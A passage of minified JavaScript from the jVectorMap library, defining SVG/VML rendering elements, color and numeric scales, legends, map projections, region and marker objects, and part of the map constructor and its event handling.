this.node.getBBox()},jvm.SVGGroupElement=function(){jvm.SVGGroupElement.parentClass.call(this,"g")},jvm.inherits(jvm.SVGGroupElement,jvm.SVGElement),jvm.SVGGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.SVGCanvasElement=function(container,width,height){this.classPrefix="SVG",jvm.SVGCanvasElement.parentClass.call(this,"svg"),this.defsElement=new jvm.SVGElement("defs"),this.node.appendChild(this.defsElement.node),jvm.AbstractCanvasElement.apply(this,arguments)},jvm.inherits(jvm.SVGCanvasElement,jvm.SVGElement),jvm.mixin(jvm.SVGCanvasElement,jvm.AbstractCanvasElement),jvm.SVGCanvasElement.prototype.setSize=function(width,height){this.width=width,this.height=height,this.node.setAttribute("width",width),this.node.setAttribute("height",height)},jvm.SVGCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.setAttribute("transform","scale("+scale+") translate("+transX+", "+transY+")")},jvm.SVGShapeElement=function(name,config,style){jvm.SVGShapeElement.parentClass.call(this,name,config),jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.SVGShapeElement,jvm.SVGElement),jvm.mixin(jvm.SVGShapeElement,jvm.AbstractShapeElement),jvm.SVGShapeElement.prototype.applyAttr=function(attr,value){var patternEl,imageEl,that=this;"fill"===attr&&jvm.isImageUrl(value)?jvm.SVGShapeElement.images[value]?this.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")"):jvm.whenImageLoaded(value).then(function(img){(imageEl=new jvm.SVGElement("image")).node.setAttributeNS("http://www.w3.org/1999/xlink","href",value),imageEl.applyAttr("x","0"),imageEl.applyAttr("y","0"),imageEl.applyAttr("width",img[0].width),imageEl.applyAttr("height",img[0].height),(patternEl=new jvm.SVGElement("pattern")).applyAttr("id","image"+jvm.SVGShapeElement.imageCounter),patternEl.applyAttr("x",0),patternEl.applyAttr("y",0),patternEl.applyAttr("width",img[0].width/2),patternEl.applyAttr("height",img[0].height/2),patternEl.applyAttr("viewBox","0 0 "+img[0].width+" "+img[0].height),patternEl.applyAttr("patternUnits","userSpaceOnUse"),patternEl.node.appendChild(imageEl.node),that.canvas.defsElement.node.appendChild(patternEl.node),jvm.SVGShapeElement.images[value]=jvm.SVGShapeElement.imageCounter++,that.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")")}):jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGShapeElement.imageCounter=1,jvm.SVGShapeElement.images={},jvm.SVGPathElement=function(config,style){jvm.SVGPathElement.parentClass.call(this,"path",config,style),this.node.setAttribute("fill-rule","evenodd")},jvm.inherits(jvm.SVGPathElement,jvm.SVGShapeElement),jvm.SVGCircleElement=function(config,style){jvm.SVGCircleElement.parentClass.call(this,"circle",config,style)},jvm.inherits(jvm.SVGCircleElement,jvm.SVGShapeElement),jvm.SVGImageElement=function(config,style){jvm.SVGImageElement.parentClass.call(this,"image",config,style)},jvm.inherits(jvm.SVGImageElement,jvm.SVGShapeElement),jvm.SVGImageElement.prototype.applyAttr=function(attr,value){var imageUrl,that=this;"image"==attr?("object"==typeof value?(imageUrl=value.url,this.offset=value.offset):(imageUrl=value,this.offset=[0,0]),jvm.whenImageLoaded(imageUrl).then(function(img){that.node.setAttributeNS("http://www.w3.org/1999/xlink","href",imageUrl),that.width=img[0].width,that.height=img[0].height,that.applyAttr("width",that.width),that.applyAttr("height",that.height),that.applyAttr("x",that.cx-that.width/2+that.offset[0]),that.applyAttr("y",that.cy-that.height/2+that.offset[1]),jvm.$(that.node).trigger("imageloaded",[img])})):"cx"==attr?(this.cx=value,this.width&&this.applyAttr("x",value-this.width/2+this.offset[0])):"cy"==attr?(this.cy=value,this.height&&this.applyAttr("y",value-this.height/2+this.offset[1])):jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGTextElement=function(config,style){jvm.SVGTextElement.parentClass.call(this,"text",config,style)},jvm.inherits(jvm.SVGTextElement,jvm.SVGShapeElement),jvm.SVGTextElement.prototype.applyAttr=function(attr,value){"text"===attr?this.node.textContent=value:jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.VMLElement=function(name,config){jvm.VMLElement.VMLInitialized||jvm.VMLElement.initializeVML(),jvm.VMLElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.VMLElement,jvm.AbstractElement),jvm.VMLElement.VMLInitialized=!1,jvm.VMLElement.initializeVML=function(){try{document.namespaces.rvml||document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<rvml:"+tagName+' class="rvml">')}}catch(e){jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<"+tagName+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}document.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)"),jvm.VMLElement.VMLInitialized=!0},jvm.VMLElement.prototype.getElementCtr=function(ctr){return jvm["VML"+ctr]},jvm.VMLElement.prototype.addClass=function(className){jvm.$(this.node).addClass(className)},jvm.VMLElement.prototype.applyAttr=function(attr,value){this.node[attr]=value},jvm.VMLElement.prototype.getBBox=function(){var node=jvm.$(this.node);return{x:node.position().left/this.canvas.scale,y:node.position().top/this.canvas.scale,width:node.width()/this.canvas.scale,height:node.height()/this.canvas.scale}},jvm.VMLGroupElement=function(){jvm.VMLGroupElement.parentClass.call(this,"group"),this.node.style.left="0px",this.node.style.top="0px",this.node.coordorigin="0 0"},jvm.inherits(jvm.VMLGroupElement,jvm.VMLElement),jvm.VMLGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.VMLCanvasElement=function(container,width,height){this.classPrefix="VML",jvm.VMLCanvasElement.parentClass.call(this,"group"),jvm.AbstractCanvasElement.apply(this,arguments),this.node.style.position="absolute"},jvm.inherits(jvm.VMLCanvasElement,jvm.VMLElement),jvm.mixin(jvm.VMLCanvasElement,jvm.AbstractCanvasElement),jvm.VMLCanvasElement.prototype.setSize=function(width,height){var paths,groups,i,l;if(this.width=width,this.height=height,this.node.style.width=width+"px",this.node.style.height=height+"px",this.node.coordsize=width+" "+height,this.node.coordorigin="0 0",this.rootElement){for(i=0,l=(paths=this.rootElement.node.getElementsByTagName("shape")).length;i<l;i++)paths[i].coordsize=width+" "+height,paths[i].style.width=width+"px",paths[i].style.height=height+"px";for(i=0,l=(groups=this.node.getElementsByTagName("group")).length;i<l;i++)groups[i].coordsize=width+" "+height,groups[i].style.width=width+"px",groups[i].style.height=height+"px"}},jvm.VMLCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.coordorigin=this.width-transX-this.width/100+","+(this.height-transY-this.height/100),this.rootElement.node.coordsize=this.width/scale+","+this.height/scale},jvm.VMLShapeElement=function(name,config){jvm.VMLShapeElement.parentClass.call(this,name,config),this.fillElement=new jvm.VMLElement("fill"),this.strokeElement=new jvm.VMLElement("stroke"),this.node.appendChild(this.fillElement.node),this.node.appendChild(this.strokeElement.node),this.node.stroked=!1,jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.VMLShapeElement,jvm.VMLElement),jvm.mixin(jvm.VMLShapeElement,jvm.AbstractShapeElement),jvm.VMLShapeElement.prototype.applyAttr=function(attr,value){switch(attr){case"fill":this.node.fillcolor=value;break;case"fill-opacity":this.fillElement.node.opacity=Math.round(100*value)+"%";break;case"stroke":this.node.stroked="none"!==value,this.node.strokecolor=value;break;case"stroke-opacity":this.strokeElement.node.opacity=Math.round(100*value)+"%";break;case"stroke-width":0===parseInt(value,10)?this.node.stroked=!1:this.node.stroked=!0,this.node.strokeweight=value;break;case"d":this.node.path=jvm.VMLPathElement.pathSvgToVml(value);break;default:jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)}},jvm.VMLPathElement=function(config,style){var scale=new jvm.VMLElement("skew");jvm.VMLPathElement.parentClass.call(this,"shape",config,style),this.node.coordorigin="0 0",scale.node.on=!0,scale.node.matrix="0.01,0,0,0.01,0,0",scale.node.offset="0,0",this.node.appendChild(scale.node)},jvm.inherits(jvm.VMLPathElement,jvm.VMLShapeElement),jvm.VMLPathElement.prototype.applyAttr=function(attr,value){"d"===attr?this.node.path=jvm.VMLPathElement.pathSvgToVml(value):jvm.VMLShapeElement.prototype.applyAttr.call(this,attr,value)},jvm.VMLPathElement.pathSvgToVml=function(path){var ctrlx,ctrly,cx=0,cy=0;return(path=path.replace(/(-?\d+)e(-?\d+)/g,"0")).replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g,function(segment,letter,coords,index){(coords=coords.replace(/(\d)-/g,"$1,-").replace(/^\s+/g,"").replace(/\s+$/g,"").replace(/\s+/g,",").split(","))[0]||coords.shift();for(var i=0,l=coords.length;i<l;i++)coords[i]=Math.round(100*coords[i]);switch(letter){case"m":return cx+=coords[0],cy+=coords[1],"t"+coords.join(",");case"M":return cx=coords[0],cy=coords[1],"m"+coords.join(",");case"l":return cx+=coords[0],cy+=coords[1],"r"+coords.join(",");case"L":return cx=coords[0],cy=coords[1],"l"+coords.join(",");case"h":return cx+=coords[0],"r"+coords[0]+",0";case"H":return"l"+(cx=coords[0])+","+cy;case"v":return cy+=coords[0],"r0,"+coords[0];case"V":return cy=coords[0],"l"+cx+","+cy;case"c":return ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"C":return ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",");case"s":return coords.unshift(cy-ctrly),coords.unshift(cx-ctrlx),ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"S":return coords.unshift(cy+cy-ctrly),coords.unshift(cx+cx-ctrlx),ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",")}return""}).replace(/z/g,"e")},jvm.VMLCircleElement=function(config,style){jvm.VMLCircleElement.parentClass.call(this,"oval",config,style)},jvm.inherits(jvm.VMLCircleElement,jvm.VMLShapeElement),jvm.VMLCircleElement.prototype.applyAttr=function(attr,value){switch(attr){case"r":this.node.style.width=2*value+"px",this.node.style.height=2*value+"px",this.applyAttr("cx",this.get("cx")||0),this.applyAttr("cy",this.get("cy")||0);break;case"cx":if(!value)return;this.node.style.left=value-(this.get("r")||0)+"px";break;case"cy":if(!value)return;this.node.style.top=value-(this.get("r")||0)+"px";break;default:jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this,attr,value)}},jvm.VectorCanvas=function(container,width,height){return this.mode=window.SVGAngle?"svg":"vml","svg"==this.mode?this.impl=new jvm.SVGCanvasElement(container,width,height):this.impl=new jvm.VMLCanvasElement(container,width,height),this.impl.mode=this.mode,this.impl},jvm.SimpleScale=function(scale){this.scale=scale},jvm.SimpleScale.prototype.getValue=function(value){return value},jvm.OrdinalScale=function(scale){this.scale=scale},jvm.OrdinalScale.prototype.getValue=function(value){return this.scale[value]},jvm.OrdinalScale.prototype.getTicks=function(){var key,ticks=[];for(key in this.scale)ticks.push({label:key,value:this.scale[key]});return ticks},jvm.NumericScale=function(scale,normalizeFunction,minValue,maxValue){this.scale=[],normalizeFunction=normalizeFunction||"linear",scale&&this.setScale(scale),normalizeFunction&&this.setNormalizeFunction(normalizeFunction),void 0!==minValue&&this.setMin(minValue),void 0!==maxValue&&this.setMax(maxValue)},jvm.NumericScale.prototype={setMin:function(min){this.clearMinValue=min,"function"==typeof this.normalize?this.minValue=this.normalize(min):this.minValue=min},setMax:function(max){this.clearMaxValue=max,"function"==typeof this.normalize?this.maxValue=this.normalize(max):this.maxValue=max},setScale:function(scale){var i;for(this.scale=[],i=0;i<scale.length;i++)this.scale[i]=[scale[i]]},setNormalizeFunction:function(f){"polynomial"===f?this.normalize=function(value){return Math.pow(value,.2)}:"linear"===f?delete this.normalize:this.normalize=f,this.setMin(this.clearMinValue),this.setMax(this.clearMaxValue)},getValue:function(value){var l,c,lengthes=[],fullLength=0,i=0;for("function"==typeof this.normalize&&(value=this.normalize(value)),i=0;i<this.scale.length-1;i++)l=this.vectorLength(this.vectorSubtract(this.scale[i+1],this.scale[i])),lengthes.push(l),fullLength+=l;for(c=(this.maxValue-this.minValue)/fullLength,i=0;i<lengthes.length;i++)lengthes[i]*=c;for(i=0,value-=this.minValue;0<=value-lengthes[i];)value-=lengthes[i],i++;return value=i==this.scale.length-1?this.vectorToNum(this.scale[i]):this.vectorToNum(this.vectorAdd(this.scale[i],this.vectorMult(this.vectorSubtract(this.scale[i+1],this.scale[i]),value/lengthes[i])))},vectorToNum:function(vector){var i,num=0;for(i=0;i<vector.length;i++)num+=Math.round(vector[i])*Math.pow(256,vector.length-i-1);return num},vectorSubtract:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]-vector2[i];return vector},vectorAdd:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]+vector2[i];return vector},vectorMult:function(vector,num){var i,result=[];for(i=0;i<vector.length;i++)result[i]=vector[i]*num;return result},vectorLength:function(vector){var i,result=0;for(i=0;i<vector.length;i++)result+=vector[i]*vector[i];return Math.sqrt(result)},getTicks:function(){var tick,v,extent=[this.clearMinValue,this.clearMaxValue],span=extent[1]-extent[0],step=Math.pow(10,Math.floor(Math.log(span/5)/Math.LN10)),err=5/span*step,ticks=[];for(err<=.15?step*=10:err<=.35?step*=5:err<=.75&&(step*=2),extent[0]=Math.floor(extent[0]/step)*step,extent[1]=Math.ceil(extent[1]/step)*step,tick=extent[0];tick<=extent[1];)v=tick==extent[0]?this.clearMinValue:tick==extent[1]?this.clearMaxValue:tick,ticks.push({label:tick,value:this.getValue(v)}),tick+=step;return ticks}},jvm.ColorScale=function(colors,normalizeFunction,minValue,maxValue){jvm.ColorScale.parentClass.apply(this,arguments)},jvm.inherits(jvm.ColorScale,jvm.NumericScale),jvm.ColorScale.prototype.setScale=function(scale){var i;for(i=0;i<scale.length;i++)this.scale[i]=jvm.ColorScale.rgbToArray(scale[i])},jvm.ColorScale.prototype.getValue=function(value){return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this,value))},jvm.ColorScale.arrayToRgb=function(ar){var d,i,rgb="#";for(i=0;i<ar.length;i++)rgb+=1==(d=ar[i].toString(16)).length?"0"+d:d;return rgb},jvm.ColorScale.numToRgb=function(num){for(num=num.toString(16);num.length<6;)num="0"+num;return"#"+num},jvm.ColorScale.rgbToArray=function(rgb){return rgb=rgb.substr(1),[parseInt(rgb.substr(0,2),16),parseInt(rgb.substr(2,2),16),parseInt(rgb.substr(4,2),16)]},jvm.Legend=function(params){this.params=params||{},this.map=this.params.map,this.series=this.params.series,this.body=jvm.$("<div/>"),this.body.addClass("jvectormap-legend"),this.params.cssClass&&this.body.addClass(this.params.cssClass),params.vertical?this.map.legendCntVertical.append(this.body):this.map.legendCntHorizontal.append(this.body),this.render()},jvm.Legend.prototype.render=function(){var i,tick,sample,label,ticks=this.series.scale.getTicks(),inner=jvm.$("<div/>").addClass("jvectormap-legend-inner");for(this.body.html(""),this.params.title&&this.body.append(jvm.$("<div/>").addClass("jvectormap-legend-title").html(this.params.title)),this.body.append(inner),i=0;i<ticks.length;i++){switch(tick=jvm.$("<div/>").addClass("jvectormap-legend-tick"),sample=jvm.$("<div/>").addClass("jvectormap-legend-tick-sample"),this.series.params.attribute){case"fill":jvm.isImageUrl(ticks[i].value)?sample.css("background","url("+ticks[i].value+")"):sample.css("background",ticks[i].value);break;case"stroke":sample.css("background",ticks[i].value);break;case"image":sample.css("background","url("+("object"==typeof ticks[i].value?ticks[i].value.url:ticks[i].value)+") no-repeat center center");break;case"r":jvm.$("<div/>").css({"border-radius":ticks[i].value,border:this.map.params.markerStyle.initial["stroke-width"]+"px "+this.map.params.markerStyle.initial.stroke+" solid",width:2*ticks[i].value+"px",height:2*ticks[i].value+"px",background:this.map.params.markerStyle.initial.fill}).appendTo(sample)}tick.append(sample),label=ticks[i].label,this.params.labelRender&&(label=this.params.labelRender(label)),tick.append(jvm.$("<div>"+label+" </div>").addClass("jvectormap-legend-tick-text")),inner.append(tick)}inner.append(jvm.$("<div/>").css("clear","both"))},jvm.DataSeries=function(params,elements,map){var scaleConstructor;(params=params||{}).attribute=params.attribute||"fill",this.elements=elements,this.params=params,this.map=map,params.attributes&&this.setAttributes(params.attributes),jvm.$.isArray(params.scale)?(scaleConstructor="fill"===params.attribute||"stroke"===params.attribute?jvm.ColorScale:jvm.NumericScale,this.scale=new scaleConstructor(params.scale,params.normalizeFunction,params.min,params.max)):params.scale?this.scale=new jvm.OrdinalScale(params.scale):this.scale=new jvm.SimpleScale(params.scale),this.values=params.values||{},this.setValues(this.values),this.params.legend&&(this.legend=new jvm.Legend(jvm.$.extend({map:this.map,series:this},this.params.legend)))},jvm.DataSeries.prototype={setAttributes:function(key,attr){var code,attrs=key;if("string"==typeof key)this.elements[key]&&this.elements[key].setStyle(this.params.attribute,attr);else for(code in attrs)this.elements[code]&&this.elements[code].element.setStyle(this.params.attribute,attrs[code])},setValues:function(values){var val,cc,max=-Number.MAX_VALUE,min=Number.MAX_VALUE,attrs={};if(this.scale instanceof jvm.OrdinalScale||this.scale instanceof jvm.SimpleScale)for(cc in values)values[cc]?attrs[cc]=this.scale.getValue(values[cc]):attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute];else{if(void 0===this.params.min||void 0===this.params.max)for(cc in values)max<(val=parseFloat(values[cc]))&&(max=val),val<min&&(min=val);for(cc in void 0===this.params.min?(this.scale.setMin(min),this.params.min=min):this.scale.setMin(this.params.min),void 0===this.params.max?(this.scale.setMax(max),this.params.max=max):this.scale.setMax(this.params.max),values)"indexOf"!=cc&&(val=parseFloat(values[cc]),isNaN(val)?attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute]:attrs[cc]=this.scale.getValue(val))}this.setAttributes(attrs),jvm.$.extend(this.values,values)},clear:function(){var key,attrs={};for(key in this.values)this.elements[key]&&(attrs[key]=this.elements[key].element.shape.style.initial[this.params.attribute]);this.setAttributes(attrs),this.values={}},setScale:function(scale){this.scale.setScale(scale),this.values&&this.setValues(this.values)},setNormalizeFunction:function(f){this.scale.setNormalizeFunction(f),this.values&&this.setValues(this.values)}},jvm.Proj={degRad:180/Math.PI,radDeg:Math.PI/180,radius:6381372,sgn:function(n){return 0<n?1:n<0?-1:n},mill:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan((45+.4*lat)*this.radDeg))/.8}},mill_inv:function(x,y,c){return{lat:(2.5*Math.atan(Math.exp(.8*y/this.radius))-5*Math.PI/8)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},merc:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan(Math.PI/4+lat*Math.PI/360))}},merc_inv:function(x,y,c){return{lat:(2*Math.atan(Math.exp(y/this.radius))-Math.PI/2)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},aea:function(lat,lng,c){var lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,fi=lat*this.radDeg,lambda=lng*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),theta=n*(lambda-lambda0),ro=Math.sqrt(C-2*n*Math.sin(fi))/n,ro0=Math.sqrt(C-2*n*Math.sin(0))/n;return{x:ro*Math.sin(theta)*this.radius,y:-(ro0-ro*Math.cos(theta))*this.radius}},aea_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),ro0=Math.sqrt(C-2*n*Math.sin(0))/n,ro=Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:Math.asin((C-ro*ro*n*n)/(2*n))*this.degRad,lng:(lambda0+theta/n)*this.degRad}},lcc:function(lat,lng,c){var lambda0=c*this.radDeg,lambda=lng*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,fi=lat*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro=F*Math.pow(1/Math.tan(Math.PI/4+fi/2),n),ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n);return{x:ro*Math.sin(n*(lambda-lambda0))*this.radius,y:-(ro0-ro*Math.cos(n*(lambda-lambda0)))*this.radius}},lcc_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n),ro=this.sgn(n)*Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:(2*Math.atan(Math.pow(F/ro,1/n))-Math.PI/2)*this.degRad,lng:(lambda0+theta/n)*this.degRad}}},jvm.MapObject=function(config){},jvm.MapObject.prototype.getLabelText=function(key){return this.config.label?"function"==typeof this.config.label.render?this.config.label.render(key):key:null},jvm.MapObject.prototype.getLabelOffsets=function(key){var offsets;return this.config.label&&("function"==typeof this.config.label.offsets?offsets=this.config.label.offsets(key):"object"==typeof this.config.label.offsets&&(offsets=this.config.label.offsets[key])),offsets||[0,0]},jvm.MapObject.prototype.setHovered=function(isHovered){this.isHovered!==isHovered&&(this.isHovered=isHovered,this.shape.isHovered=isHovered,this.shape.updateStyle(),this.label&&(this.label.isHovered=isHovered,this.label.updateStyle()))},jvm.MapObject.prototype.setSelected=function(isSelected){this.isSelected!==isSelected&&(this.isSelected=isSelected,this.shape.isSelected=isSelected,this.shape.updateStyle(),this.label&&(this.label.isSelected=isSelected,this.label.updateStyle()),jvm.$(this.shape).trigger("selected",[isSelected]))},jvm.MapObject.prototype.setStyle=function(){this.shape.setStyle.apply(this.shape,arguments)},jvm.MapObject.prototype.remove=function(){this.shape.remove(),this.label&&this.label.remove()},jvm.Region=function(config){var bbox,text,offsets;this.config=config,this.map=this.config.map,this.shape=config.canvas.addPath({d:config.path,"data-code":config.code},config.style,config.canvas.rootElement),this.shape.addClass("jvectormap-region jvectormap-element"),bbox=this.shape.getBBox(),text=this.getLabelText(config.code),this.config.label&&text&&(offsets=this.getLabelOffsets(config.code),this.labelX=bbox.x+bbox.width/2+offsets[0],this.labelY=bbox.y+bbox.height/2+offsets[1],this.label=config.canvas.addText({text:text,"text-anchor":"middle","alignment-baseline":"central",x:this.labelX,y:this.labelY,"data-code":config.code},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-region jvectormap-element"))},jvm.inherits(jvm.Region,jvm.MapObject),jvm.Region.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.map.transX*this.map.scale,y:this.labelY*this.map.scale+this.map.transY*this.map.scale})},jvm.Marker=function(config){var text;this.config=config,this.map=this.config.map,this.isImage=!!this.config.style.initial.image,this.createShape(),text=this.getLabelText(config.index),this.config.label&&text&&(this.offsets=this.getLabelOffsets(config.index),this.labelX=config.cx/this.map.scale-this.map.transX,this.labelY=config.cy/this.map.scale-this.map.transY,this.label=config.canvas.addText({text:text,"data-index":config.index,dy:"0.6ex",x:this.labelX,y:this.labelY},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-marker jvectormap-element"))},jvm.inherits(jvm.Marker,jvm.MapObject),jvm.Marker.prototype.createShape=function(){var that=this;this.shape&&this.shape.remove(),this.shape=this.config.canvas[this.isImage?"addImage":"addCircle"]({"data-index":this.config.index,cx:this.config.cx,cy:this.config.cy},this.config.style,this.config.group),this.shape.addClass("jvectormap-marker jvectormap-element"),this.isImage&&jvm.$(this.shape.node).on("imageloaded",function(){that.updateLabelPosition()})},jvm.Marker.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.offsets[0]+this.map.transX*this.map.scale+5+(this.isImage?(this.shape.width||0)/2:this.shape.properties.r),y:this.labelY*this.map.scale+this.map.transY*this.map.scale+this.offsets[1]})},jvm.Marker.prototype.setStyle=function(property,value){var isImage;jvm.Marker.parentClass.prototype.setStyle.apply(this,arguments),"r"===property&&this.updateLabelPosition(),(isImage=!!this.shape.get("image"))!=this.isImage&&(this.isImage=isImage,this.config.style=jvm.$.extend(!0,{},this.shape.style),this.createShape())},jvm.Map=function(params){var e,map=this;if(this.params=jvm.$.extend(!0,{},jvm.Map.defaultParams,params),!jvm.Map.maps[this.params.map])throw new Error("Attempt to use map which was not loaded: "+this.params.map);for(e in this.mapData=jvm.Map.maps[this.params.map],this.markers={},this.regions={},this.regionsColors={},this.regionsData={},this.container=jvm.$("<div>").addClass("jvectormap-container"),this.params.container&&this.params.container.append(this.container),this.container.data("mapObject",this),this.defaultWidth=this.mapData.width,this.defaultHeight=this.mapData.height,this.setBackgroundColor(this.params.backgroundColor),this.onResize=function(){map.updateSize()},jvm.$(window).resize(this.onResize),jvm.Map.apiEvents)this.params[e]&&this.container.bind(jvm.Map.apiEvents[e]+".jvectormap",this.params[e]);this.canvas=new jvm.VectorCanvas(this.container[0],this.width,this.height),this.params.bindTouchEvents&&("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch?this.bindContainerTouchEvents():window.MSGesture&&this.bindContainerPointerEvents()),this.bindContainerEvents(),this.bindElementEvents(),this.createTip(),this.params.zoomButtons&&this.bindZoomButtons(),this.createRegions(),this.createMarkers(this.params.markers||{}),this.updateSize(),this.params.focusOn&&("string"==typeof this.params.focusOn?this.params.focusOn={region:this.params.focusOn}:jvm.$.isArray(this.params.focusOn)&&(this.params.focusOn={regions:this.params.focusOn}),this.setFocus(this.params.focusOn)),this.params.selectedRegions&&this.setSelectedRegions(this.params.selectedRegions),this.params.selectedMarkers&&this.setSelectedMarkers(this.params.selectedMarkers),this.legendCntHorizontal=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-h"),this.legendCntVertical=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-v"),this.container.append(this.legendCntHorizontal),this.container.append(this.legendCntVertical),this.params.series&&this.createSeries()},jvm.Map.prototype={transX:0,transY:0,scale:1,baseTransX:0,baseTransY:0,baseScale:1,width:0,height:0,setBackgroundColor:function(backgroundColor){this.container.css("background-color",backgroundColor)},resize:function(){var curBaseScale=this.baseScale;this.width/this.height>this.defaultWidth/this.defaultHeight?(this.baseScale=this.height/this.defaultHeight,this.baseTransX=Math.abs(this.width-this.defaultWidth*this.baseScale)/(2*this.baseScale)):(this.baseScale=this.width/this.defaultWidth,this.baseTransY=Math.abs(this.height-this.defaultHeight*this.baseScale)/(2*this.baseScale)),this.scale*=this.baseScale/curBaseScale,this.transX*=this.baseScale/curBaseScale,this.transY*=this.baseScale/curBaseScale},updateSize:function(){this.width=this.container.width(),this.height=this.container.height(),this.resize(),this.canvas.setSize(this.width,this.height),this.applyTransform()},reset:function(){var key,i;for(key in this.series)for(i=0;i<this.series[key].length;i++)this.series[key][i].clear();this.scale=this.baseScale,this.transX=this.baseTransX,this.transY=this.baseTransY,this.applyTransform()},applyTransform:function(){var maxTransX,maxTransY,minTransX,minTransY;minTransX=this.defaultWidth*this.scale<=this.width?(maxTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale),(this.width-this.defaultWidth*this.scale)/(2*this.scale)):(maxTransX=0,(this.width-this.defaultWidth*this.scale)/this.scale),minTransY=this.defaultHeight*this.scale<=this.height?(maxTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale),(this.height-this.defaultHeight*this.scale)/(2*this.scale)):(maxTransY=0,(this.height-this.defaultHeight*this.scale)/this.scale),this.transY>maxTransY?this.transY=maxTransY:this.transY<minTransY&&(this.transY=minTransY),this.transX>maxTransX?this.transX=maxTransX:this.transX<minTransX&&(this.transX=minTransX),this.canvas.applyTransformParams(this.scale,this.transX,this.transY),this.markers&&this.repositionMarkers(),this.repositionLabels(),this.container.trigger("viewportChange",[this.scale/this.baseScale,this.transX,this.transY])},bindContainerEvents:function(){var oldPageX,oldPageY,mouseDown=!1,map=this;this.params.panOnDrag&&(this.container.mousemove(function(e){return mouseDown&&(map.transX-=(oldPageX-e.pageX)/map.scale,map.transY-=(oldPageY-e.pageY)/map.scale,map.applyTransform(),oldPageX=e.pageX,oldPageY=e.pageY),!1}).mousedown(function(e){return mouseDown=!0,oldPageX=e.pageX,oldPageY=e.pageY,!1}),this.onContainerMouseUp=function(){mouseDown=!1},jvm.$("body").mouseup(this.onContainerMouseUp)),this.params.zoomOnScroll&&this.container.mousewheel(function(event,delta,deltaX,deltaY){var 